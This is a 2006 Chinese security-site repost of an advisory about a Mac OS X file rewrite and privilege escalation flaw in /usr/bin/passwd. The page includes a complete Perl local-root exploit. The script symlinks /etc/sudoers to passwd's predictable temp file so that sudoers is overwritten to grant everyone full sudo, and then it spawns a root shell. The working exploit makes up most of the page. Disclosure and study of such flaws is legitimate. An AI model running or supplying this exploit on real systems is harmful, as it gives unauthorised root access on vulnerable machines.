联系站长
加入收藏
会员登陆
 您的位置: 情长在线 >> 文章文献 >> Exploit/code >> [专题]Exploit/code >> By 情长在线(F.N.S.T)
   □  Apple Mac OS X File Rewrites and Privilege Escalation Exploit    3星级
Apple Mac OS X File Rewrites and Privilege Escalation Exploit
[作者:佚名    转贴自:Internet    点击数:    更新时间:2006-3-25    文章录入:一生情长]
【字体:

Apple Mac OS X File Rewrites and Privilege Escalation Exploit 
 
Summary
Improper handling of file permissions allows attackers to rewrite file content on Apple Mac OS X.
 
Credit:
The information has been provided by v9.
The advisory can be found at: http://www.securiteam.com/securitynews/5MP011PI0E.html
The original article can be found at: http://fakehalo.us/xosx-passwd.pl 
 
Details
Vulnerable Systems:
 * Mac OS X Version 10.3.9
 * Mac OS X Server Version 10.3.9
 * Mac OS X Version 10.4.5
 * Mac OS X Server Version 10.4.5

Exploit:
#!/usr/bin/perl
#
# /usr/bin/passwd[OSX]: local root exploit.
#
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
#
# (Apple) OSX's /usr/bin/passwd program has support for a custom
# passwd file to be used instead of the standard/static path. this
# feature has security issues in the form of editable file(s) being
# made anywheres on the disk and also writing arbitrary data to files.
#
# the first issue will only work if the file does not already exist,
# it is done using "umask 0;/usr/bin/passwd -i file -l <filename>".
# the second issue is once a successful password change has occured
# /usr/bin/passwd will insecurely re-write the passwd file to
# /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of
# your choice. (this exploits the second issue to overwrite
# /etc/sudoers)
#
# (for some reason this took apple 6 or so months to patch)

use POSIX;

$fake_passwd="/tmp/xpasswd.$$";
$passwd_pid=($$ + 1);
$passwd_tempfile="/tmp/.pwtmp.$passwd_pid";
$sudoers="/etc/sudoers";

sub pexit{print("[!] @_.\n");exit(1);}
print("[*] /usr/bin/passwd[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
unlink($fake_passwd);
print("[*] making fake password file. ($fake_passwd)\n");
open(FP,">$fake_passwd")||pexit("couldn't open/write to $fake_passwd");
# uid must equal the current user.
print(FP "ALL ALL=(ALL) ALL #::" . getuid . ":" . getuid . "::" .
getuid . ":" . getuid . "::/:/\n");
close(FP);
print("[*] sym-linking $sudoers -> $passwd_tempfile.\n");
symlink($sudoers,$passwd_tempfile)||pexit("couldn't link files.");
print("[*] running /usr/bin/passwd on $fake_passwd.\n");
print("[*] (use ANY password longer than 4 characters)\n\n");
system("/usr/bin/passwd -i file -l $fake_passwd \"ALL ALL=(ALL) ALL #\"");
print("\n[*] running \"sudo sh\", use your REAL (user) password.\n\n");
system("/usr/bin/sudo sh");
exit(0);

#EoF
 

  • 上一篇文章:BomberClone Buffer Overflow Exploit
  • 下一篇文章:FarsiNews Remote File Inclusion
  • 发表评论   □ 告诉好友   □ 打印此文  □ 关闭窗口
     最新10篇热点文章
    SQL SERVER2000安全解决方…[206]
    Linux集群在银行信息化中的…[210]
    巧用Linux2.6内核新功能配…[313]
    Linux DHCP网络故障排除事…[158]
    手把手教您配置Liunx目录服…[389]
    Linux下安装和使用杀毒软件…[263]
    (MS06-007)IGMP v3 DoS Ex…[256]
    FarsiNews Remote File In…[158]
    Apple Mac OS X File Rewr…[189]
    BomberClone Buffer Overf…[267]
     
     最新10篇推荐文章
    手把手教您配置Liunx目录服…[03-25]
    Linux下安装和使用杀毒软件…[03-25]
    (MS06-007)IGMP v3 DoS Ex…[03-25]
    BomberClone Buffer Overf…[03-25]
    vBulletin ImpEx模块远程文…[03-24]
    网络安全论文专题[03-23]
    服务器、网络安全解决方案…[03-23]
    服务器常见故障的诊断与解…[02-26]
    探寻适合小型企业的网络安…[02-26]
    交换机配置中的安全性[02-26]
     
     相 关 文 章
      ◇  网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
     设为首页  加入收藏  关于本站  免费服务  广告服务   归档中心   站点地图  版权申明  联系站长  友情链接
    Copyright© 2001-2005 F.N.S.T Fineacer.Org .All Rights Reserved ICP备案:粤ICP备05002156号